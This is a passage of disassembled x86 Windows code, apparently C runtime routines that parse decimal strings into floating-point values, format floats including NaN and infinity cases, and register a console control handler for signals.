		push	3
		jmp	loc_41FCCC
; ---------------------------------------------------------------------------


loc_41FAAF:				; CODE XREF: sub_41FA34+6Dj
					; sub_41FA34+72j
		cmp	bl, byte_435E3C
		jnz	short loc_41FABE


loc_41FAB7:				; CODE XREF: sub_41FA34+124j
		push	5
		jmp	loc_41FD04
; ---------------------------------------------------------------------------


loc_41FABE:				; CODE XREF: sub_41FA34+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41FAE4
		dec	eax
		dec	eax
		jz	short loc_41FAD8
		sub	eax, 3
		jnz	loc_41FDA7
		jmp	loc_41FB67
; ---------------------------------------------------------------------------


loc_41FAD8:				; CODE XREF: sub_41FA34+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_41FA8B
; ---------------------------------------------------------------------------


loc_41FAE4:				; CODE XREF: sub_41FA34+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_41FA8B
; ---------------------------------------------------------------------------


loc_41FAED:				; CODE XREF: sub_41FA34+63j
					; DATA XREF: .text:off_41FED5o
		cmp	bl, 31h		; jumptable 0041FA97 case 1
		mov	[ebp+var_10], edx
		jl	short loc_41FAFA
		cmp	bl, 39h
		jle	short loc_41FAA8


loc_41FAFA:				; CODE XREF: sub_41FA34+BFj
		cmp	bl, byte_435E3C
		jz	loc_41FBC2
		cmp	bl, 2Bh
		jz	short loc_41FB3C
		cmp	bl, 2Dh
		jz	short loc_41FB3C
		cmp	bl, 30h
		jz	short loc_41FB67


loc_41FB15:				; CODE XREF: sub_41FA34+207j
		cmp	bl, 43h
		jle	loc_41FDA7
		cmp	bl, 45h
		jle	short loc_41FB35
		cmp	bl, 63h
		jle	loc_41FDA7
		cmp	bl, 65h
		jg	loc_41FDA7


loc_41FB35:				; CODE XREF: sub_41FA34+EDj
		push	6
		jmp	loc_41FD04
; ---------------------------------------------------------------------------


loc_41FB3C:				; CODE XREF: sub_41FA34+D5j
					; sub_41FA34+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_41FD04
; ---------------------------------------------------------------------------


loc_41FB44:				; CODE XREF: sub_41FA34+63j
					; DATA XREF: .text:off_41FED5o
		cmp	bl, 31h		; jumptable 0041FA97 case 2
		jl	short loc_41FB52
		cmp	bl, 39h
		jle	loc_41FAA8


loc_41FB52:				; CODE XREF: sub_41FA34+113j
		cmp	bl, byte_435E3C
		jz	loc_41FAB7
		cmp	bl, 30h
		jnz	loc_41FD1C


loc_41FB67:				; CODE XREF: sub_41FA34+9Fj
					; sub_41FA34+DFj
		mov	eax, edx
		jmp	loc_41FA8B
; ---------------------------------------------------------------------------


loc_41FB6E:				; CODE XREF: sub_41FA34+63j
					; DATA XREF: .text:off_41FED5o
		mov	[ebp+var_10], edx ; jumptable 0041FA97 case 3


loc_41FB71:				; CODE XREF: sub_41FA34+184j
		cmp	dword_435E38, edx
		jle	short loc_41FB8A
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41FB98
; ---------------------------------------------------------------------------


loc_41FB8A:				; CODE XREF: sub_41FA34+143j
		mov	ecx, off_435C2C
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41FB98:				; CODE XREF: sub_41FA34+154j
		test	eax, eax
		jz	short loc_41FBBA
		cmp	[ebp+var_4], 19h
		jnb	short loc_41FBB2
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_41FBB5
; ---------------------------------------------------------------------------


loc_41FBB2:				; CODE XREF: sub_41FA34+16Cj
		inc	[ebp+var_8]


loc_41FBB5:				; CODE XREF: sub_41FA34+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41FB71
; ---------------------------------------------------------------------------


loc_41FBBA:				; CODE XREF: sub_41FA34+166j
		cmp	bl, byte_435E3C
		jnz	short loc_41FC29


loc_41FBC2:				; CODE XREF: sub_41FA34+CCj
		mov	eax, esi
		jmp	loc_41FA8B
; ---------------------------------------------------------------------------


loc_41FBC9:				; CODE XREF: sub_41FA34+63j
					; DATA XREF: .text:off_41FED5o
		cmp	[ebp+var_4], 0	; jumptable 0041FA97 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_41FBE2


loc_41FBD5:				; CODE XREF: sub_41FA34+1ACj
		cmp	bl, 30h
		jnz	short loc_41FBE2
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41FBD5
; ---------------------------------------------------------------------------


loc_41FBE2:				; CODE XREF: sub_41FA34+19Fj
					; sub_41FA34+1A4j ...
		cmp	dword_435E38, edx
		jle	short loc_41FBFB
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41FC09
; ---------------------------------------------------------------------------


loc_41FBFB:				; CODE XREF: sub_41FA34+1B4j
		mov	ecx, off_435C2C
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41FC09:				; CODE XREF: sub_41FA34+1C5j
		test	eax, eax
		jz	short loc_41FC29
		cmp	[ebp+var_4], 19h
		jnb	short loc_41FC24
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_41FC24:				; CODE XREF: sub_41FA34+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FC29:				; CODE XREF: sub_41FA34+18Cj
					; sub_41FA34+1D7j
		cmp	bl, 2Bh
		jz	loc_41FB3C
		cmp	bl, 2Dh
		jz	loc_41FB3C
		jmp	loc_41FB15
; ---------------------------------------------------------------------------


loc_41FC40:				; CODE XREF: sub_41FA34+63j
					; DATA XREF: .text:off_41FED5o
		cmp	dword_435E38, edx ; jumptable 0041FA97 case 5
		mov	[ebp+var_24], edx
		jle	short loc_41FC5C
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41FC6A
; ---------------------------------------------------------------------------


loc_41FC5C:				; CODE XREF: sub_41FA34+215j
		mov	ecx, off_435C2C
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41FC6A:				; CODE XREF: sub_41FA34+226j
		test	eax, eax
		jz	loc_41FD1C
		mov	eax, esi
		jmp	short loc_41FCCD
; ---------------------------------------------------------------------------


loc_41FC76:				; CODE XREF: sub_41FA34+63j
					; DATA XREF: .text:off_41FED5o
		lea	ecx, [edi-2]	; jumptable 0041FA97 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_41FC86
		cmp	bl, 39h
		jle	short loc_41FCCA


loc_41FC86:				; CODE XREF: sub_41FA34+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41FD02
		dec	eax
		dec	eax
		jz	short loc_41FCF6
		sub	eax, 3
		jnz	loc_41FDAA


loc_41FC9B:				; CODE XREF: sub_41FA34+2A4j
		push	8
		jmp	short loc_41FD04
; ---------------------------------------------------------------------------


loc_41FC9F:				; CODE XREF: sub_41FA34+63j
					; DATA XREF: .text:off_41FED5o
		mov	[ebp+var_20], edx ; jumptable 0041FA97 case 8


loc_41FCA2:				; CODE XREF: sub_41FA34+276j
		cmp	bl, 30h
		jnz	short loc_41FCAC
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41FCA2
; ---------------------------------------------------------------------------


loc_41FCAC:				; CODE XREF: sub_41FA34+271j
		cmp	bl, 31h
		jl	loc_41FDA7
		cmp	bl, 39h
		jg	loc_41FDA7
		jmp	short loc_41FCCA
; ---------------------------------------------------------------------------


loc_41FCC0:				; CODE XREF: sub_41FA34+63j
					; DATA XREF: .text:off_41FED5o
		cmp	bl, 31h		; jumptable 0041FA97 case 7
		jl	short loc_41FCD3
		cmp	bl, 39h
		jg	short loc_41FCD3


loc_41FCCA:				; CODE XREF: sub_41FA34+250j
					; sub_41FA34+28Aj
		push	9


loc_41FCCC:				; CODE XREF: sub_41FA34+76j
		pop	eax


loc_41FCCD:				; CODE XREF: sub_41FA34+240j
		dec	edi
		jmp	loc_41FA8B
; ---------------------------------------------------------------------------


loc_41FCD3:				; CODE XREF: sub_41FA34+28Fj
					; sub_41FA34+294j
		cmp	bl, 30h
		jnz	short loc_41FD1C
		jmp	short loc_41FC9B
; ---------------------------------------------------------------------------


loc_41FCDA:				; CODE XREF: sub_41FA34+63j
					; DATA XREF: .text:off_41FED5o
		cmp	[ebp+arg_18], 0	; jumptable 0041FA97 case 11
		jz	short loc_41FD0A
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_41FD02
		dec	eax
		dec	eax
		jnz	loc_41FDAA


loc_41FCF6:				; CODE XREF: sub_41FA34+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41FA8B
; ---------------------------------------------------------------------------


loc_41FD02:				; CODE XREF: sub_41FA34+258j
					; sub_41FA34+2B8j
		push	7


loc_41FD04:				; CODE XREF: sub_41FA34+85j
					; sub_41FA34+103j ...
		pop	eax
		jmp	loc_41FA8B
; ---------------------------------------------------------------------------


loc_41FD0A:				; CODE XREF: sub_41FA34+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_41FD0E:				; CODE XREF: sub_41FA34+5Dj
					; sub_41FA34+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0041FA97 case 10
		jz	loc_41FDAC
		jmp	loc_41FA8B
; ---------------------------------------------------------------------------


loc_41FD1C:				; CODE XREF: sub_41FA34+12Dj
					; sub_41FA34+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_41FDAC
; ---------------------------------------------------------------------------


loc_41FD24:				; CODE XREF: sub_41FA34+63j
					; DATA XREF: .text:off_41FED5o
		mov	[ebp+var_20], 1	; jumptable 0041FA97 case 9
		xor	esi, esi


loc_41FD2D:				; CODE XREF: sub_41FA34+339j
		cmp	dword_435E38, 1
		jle	short loc_41FD45
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_41FD54
; ---------------------------------------------------------------------------


loc_41FD45:				; CODE XREF: sub_41FA34+300j
		mov	ecx, off_435C2C
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41FD54:				; CODE XREF: sub_41FA34+30Fj
		test	eax, eax
		jz	short loc_41FD74
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_41FD6F
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41FD2D
; ---------------------------------------------------------------------------


loc_41FD6F:				; CODE XREF: sub_41FA34+334j
		mov	esi, 1451h


loc_41FD74:				; CODE XREF: sub_41FA34+322j
		mov	[ebp+var_1C], esi


loc_41FD77:				; CODE XREF: sub_41FA34+371j
		cmp	dword_435E38, 1
		jle	short loc_41FD8F
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41BDD1
		pop	ecx
		pop	ecx
		jmp	short loc_41FD9E
; ---------------------------------------------------------------------------


loc_41FD8F:				; CODE XREF: sub_41FA34+34Aj
		mov	ecx, off_435C2C
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41FD9E:				; CODE XREF: sub_41FA34+359j
		test	eax, eax
		jz	short loc_41FDA7
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41FD77
; ---------------------------------------------------------------------------


loc_41FDA7:				; CODE XREF: sub_41FA34+99j
					; sub_41FA34+E4j ...
		dec	edi
		jmp	short loc_41FDAC
; ---------------------------------------------------------------------------


loc_41FDAA:				; CODE XREF: sub_41FA34+261j
					; sub_41FA34+2BCj
		mov	edi, ecx


loc_41FDAC:				; CODE XREF: sub_41FA34+2DDj
					; sub_41FA34+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_41FE94
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_41FDD8
		cmp	[ebp+var_45], 5
		jl	short loc_41FDCC
		inc	[ebp+var_45]


loc_41FDCC:				; CODE XREF: sub_41FA34+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_41FDDB
; ---------------------------------------------------------------------------


loc_41FDD8:				; CODE XREF: sub_41FA34+38Dj
		mov	eax, [ebp+var_C]


loc_41FDDB:				; CODE XREF: sub_41FA34+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_41FE8A


loc_41FDE5:				; CODE XREF: sub_41FA34+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41FDF3
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_41FDE5
; ---------------------------------------------------------------------------


loc_41FDF3:				; CODE XREF: sub_41FA34+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_41F96D
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_41FE12
		neg	eax


loc_41FE12:				; CODE XREF: sub_41FA34+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_41FE1D
		add	eax, [ebp+arg_10]


loc_41FE1D:				; CODE XREF: sub_41FA34+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_41FE25
		sub	eax, [ebp+arg_14]


loc_41FE25:				; CODE XREF: sub_41FA34+3ECj
		cmp	eax, 1450h
		jle	short loc_41FE5C
		mov	[ebp+var_2C], 1


loc_41FE33:				; CODE XREF: sub_41FA34+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_41FE3F:				; CODE XREF: sub_41FA34+454j
					; sub_41FA34+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_41FEA5
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_41FEBA
; ---------------------------------------------------------------------------


loc_41FE5C:				; CODE XREF: sub_41FA34+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_41FE6C
		mov	[ebp+var_30], 1
		jmp	short loc_41FE33
; ---------------------------------------------------------------------------


loc_41FE6C:				; CODE XREF: sub_41FA34+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_420942
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_41FE3F
; ---------------------------------------------------------------------------


loc_41FE8A:				; CODE XREF: sub_41FA34+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_41FE3F
; ---------------------------------------------------------------------------


loc_41FE94:				; CODE XREF: sub_41FA34+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_41FEBA
; ---------------------------------------------------------------------------


loc_41FEA5:				; CODE XREF: sub_41FA34+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_41FEBA
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_41FEBA:				; CODE XREF: sub_41FA34+426j
					; sub_41FA34+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_41FA34	endp

; ---------------------------------------------------------------------------
off_41FED5	dd offset loc_41FA9E	; DATA XREF: sub_41FA34+63r
		dd offset loc_41FAED	; jump table for switch	statement
		dd offset loc_41FB44
		dd offset loc_41FB6E
		dd offset loc_41FBC9
		dd offset loc_41FC40
		dd offset loc_41FC76
		dd offset loc_41FCC0
		dd offset loc_41FC9F
		dd offset loc_41FD24
		dd offset loc_41FD0E
		dd offset loc_41FCDA
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	esi
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp-0Ch]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_41FA34
		push	dword ptr [ebp+8]
		mov	esi, eax
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_41E0CE
		add	esp, 24h
		cmp	eax, 1
		jnz	short loc_41FF3C
		or	esi, 2


loc_41FF3C:				; CODE XREF: .text:0041FF37j
		mov	eax, esi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF41	proc near		; CODE XREF: sub_41E247+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_41FFA3
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41FFA7
; ---------------------------------------------------------------------------


loc_41FFA3:				; CODE XREF: sub_41FF41+5Aj
		mov	byte ptr [ebx+2], 20h


loc_41FFA7:				; CODE XREF: sub_41FF41+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_41FFCD
		test	edi, edi
		jnz	short loc_41FFCD
		cmp	[ebp+arg_0], edi
		jnz	short loc_41FFCD


loc_41FFB8:				; CODE XREF: sub_41FF41+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_4201CB
; ---------------------------------------------------------------------------


loc_41FFCD:				; CODE XREF: sub_41FF41+6Cj
					; sub_41FF41+70j ...
		cmp	dx, si
		jnz	short loc_42004C
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_41FFE6
		cmp	[ebp+arg_0], 0
		jz	short loc_41FFF5


loc_41FFE6:				; CODE XREF: sub_41FF41+9Dj
		test	edi, 40000000h
		jnz	short loc_41FFF5
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_42003B
; ---------------------------------------------------------------------------


loc_41FFF5:				; CODE XREF: sub_41FF41+A3j
					; sub_41FF41+ABj
		test	cx, cx
		jz	short loc_42000F
		cmp	edi, 0C0000000h
		jnz	short loc_42000F
		cmp	[ebp+arg_0], 0
		jnz	short loc_420036
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42001E
; ---------------------------------------------------------------------------


loc_42000F:				; CODE XREF: sub_41FF41+B7j
					; sub_41FF41+BFj
		cmp	edi, eax
		jnz	short loc_420036
		cmp	[ebp+arg_0], 0
		jnz	short loc_420036
		push	offset a1Inf	; "1#INF"


loc_42001E:				; CODE XREF: sub_41FF41+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_4175D0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_42002D:				; CODE XREF: sub_41FF41+109j
		and	[ebp+var_4], 0
		jmp	loc_4201A4
; ---------------------------------------------------------------------------


loc_420036:				; CODE XREF: sub_41FF41+C5j
					; sub_41FF41+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_42003B:				; CODE XREF: sub_41FF41+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_4175D0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_42002D
; ---------------------------------------------------------------------------


loc_42004C:				; CODE XREF: sub_41FF41+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_420942
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_4200AD
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_420722
		pop	ecx
		pop	ecx


loc_4200AD:				; CODE XREF: sub_41FF41+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_4200C7
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_4200CA
		jmp	loc_41FFB8
; ---------------------------------------------------------------------------


loc_4200C7:				; CODE XREF: sub_41FF41+173j
		mov	edi, [ebp+arg_C]


loc_4200CA:				; CODE XREF: sub_41FF41+17Fj
		cmp	edi, 15h
		jle	short loc_4200D2
		push	15h
		pop	edi


loc_4200D2:				; CODE XREF: sub_41FF41+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_4200E8:				; CODE XREF: sub_41FF41+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F912
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_4200E8
		test	esi, esi
		jge	short loc_420112
		neg	esi
		and	esi, 0FFh
		jle	short loc_420112


loc_420105:				; CODE XREF: sub_41FF41+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F940
		dec	esi
		pop	ecx
		jnz	short loc_420105


loc_420112:				; CODE XREF: sub_41FF41+1B8j
					; sub_41FF41+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_42016F
		mov	[ebp+arg_C], ecx


loc_420122:				; CODE XREF: sub_41FF41+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_41F912
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F912
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F8B4
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F912
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_420122
		mov	eax, [ebp+arg_14]


loc_42016F:				; CODE XREF: sub_41FF41+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_4201AC


loc_42017C:				; CODE XREF: sub_41FF41+248j
		cmp	eax, ecx
		jb	short loc_42018F
		cmp	byte ptr [eax],	39h
		jnz	short loc_42018B
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_42017C
; ---------------------------------------------------------------------------


loc_42018B:				; CODE XREF: sub_41FF41+242j
		cmp	eax, ecx
		jnb	short loc_420193


loc_42018F:				; CODE XREF: sub_41FF41+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_420193:				; CODE XREF: sub_41FF41+24Cj
		inc	byte ptr [eax]


loc_420195:				; CODE XREF: sub_41FF41+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_4201A4:				; CODE XREF: sub_41FF41+F0j
		mov	eax, [ebp+var_4]


loc_4201A7:				; CODE XREF: sub_41FF41+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4201AC:				; CODE XREF: sub_41FF41+239j
					; sub_41FF41+275j
		cmp	eax, ecx
		jb	short loc_4201BC
		cmp	byte ptr [eax],	30h
		jnz	short loc_4201B8
		dec	eax
		jmp	short loc_4201AC
; ---------------------------------------------------------------------------


loc_4201B8:				; CODE XREF: sub_41FF41+272j
		cmp	eax, ecx
		jnb	short loc_420195


loc_4201BC:				; CODE XREF: sub_41FF41+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_4201CB:				; CODE XREF: sub_41FF41+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_4201A7
sub_41FF41	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+0Ch]
		cmp	edi, 4
		jz	loc_42029E
		cmp	edi, 3
		jz	loc_42029E
		mov	esi, [ebp+8]
		cmp	esi, 2
		jz	short loc_420254
		cmp	esi, 15h
		jz	short loc_420254
		cmp	esi, 16h
		jz	short loc_42024F
		cmp	esi, 0Fh
		jz	short loc_42024F
		cmp	esi, 8
		jz	short loc_420218
		cmp	esi, 4
		jz	short loc_420218
		cmp	esi, 0Bh
		jnz	loc_42029E


loc_420218:				; CODE XREF: .text:00420208j
					; .text:0042020Dj
		push	esi
		call	sub_420445
		test	eax, eax
		pop	ecx
		jz	short loc_42029E
		mov	ecx, [eax+8]


loc_420226:				; CODE XREF: .text:0042024Dj
		cmp	[eax+4], esi
		jnz	loc_4202DC
		mov	[eax+8], edi
		mov	edx, dword_436128
		add	eax, 0Ch
		lea	edx, [edx+edx*2]
		lea	edx, ds:4360A8h[edx*4]
		cmp	eax, edx
		jnb	loc_4202DC
		jmp	short loc_420226
; ---------------------------------------------------------------------------


loc_42024F:				; CODE XREF: .text:004201FEj
					; .text:00420203j
		cmp	esi, 15h
		jnz	short loc_420274


loc_420254:				; CODE XREF: .text:004201F4j
					; .text:004201F9j
		cmp	dword_492AD0, 0
		jnz	short loc_420274
		push	1
		push	offset loc_4202E0
		call	ds:dword_4952F4	; SetConsoleCtrlHandler
		cmp	eax, 1
		jnz	short loc_420293
		mov	dword_492AD0, eax


loc_420274:				; CODE XREF: .text:00420252j
					; .text:0042025Bj
		dec	esi
		dec	esi
		jz	short loc_4202CB
		sub	esi, 0Dh
		jz	short loc_4202BD
		sub	esi, 6
		jz	short loc_4202AF
		dec	esi
		jnz	short loc_4202D9
		mov	ecx, dword_492AC8
		mov	dword_492AC8, edi
		jmp	short loc_4202DC
; ---------------------------------------------------------------------------


loc_420293:				; CODE XREF: .text:0042026Dj
		call	ds:dword_495328	; RtlGetLastWin32Error
		mov	dword_4927F8, eax


loc_42029E:				; CODE XREF: .text:004201DFj
					; .text:004201E8j ...
		mov	dword_4927F4, 16h
		or	eax, 0FFFFFFFFh


loc_4202AB:				; CODE XREF: .text:004202DEj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4202AF:				; CODE XREF: .text:00420280j
		mov	ecx, dword_492AC4
		mov	dword_492AC4, edi
		jmp	short loc_4202DC
; ---------------------------------------------------------------------------


loc_4202BD:				; CODE XREF: .text:0042027Bj
		mov	ecx, dword_492ACC
		mov	dword_492ACC, edi
		jmp	short loc_4202DC
; ---------------------------------------------------------------------------


loc_4202CB:				; CODE XREF: .text:00420276j
		mov	ecx, dword_492AC0
		mov	dword_492AC0, edi
		jmp	short loc_4202DC
; ---------------------------------------------------------------------------


loc_4202D9:				; CODE XREF: .text:00420283j
		mov	ecx, [ebp+0Ch]


loc_4202DC:				; CODE XREF: .text:00420229j
					; .text:00420247j ...
		mov	eax, ecx
		jmp	short loc_4202AB
; ---------------------------------------------------------------------------


loc_4202E0:				; DATA XREF: .text:0042025Fo
		cmp	dword ptr [esp+4], 0
		jnz	short loc_4202F5
		mov	eax, dword_492AC0
		mov	ecx, offset dword_492AC0
		push	2
		jmp	short loc_420301
; ---------------------------------------------------------------------------


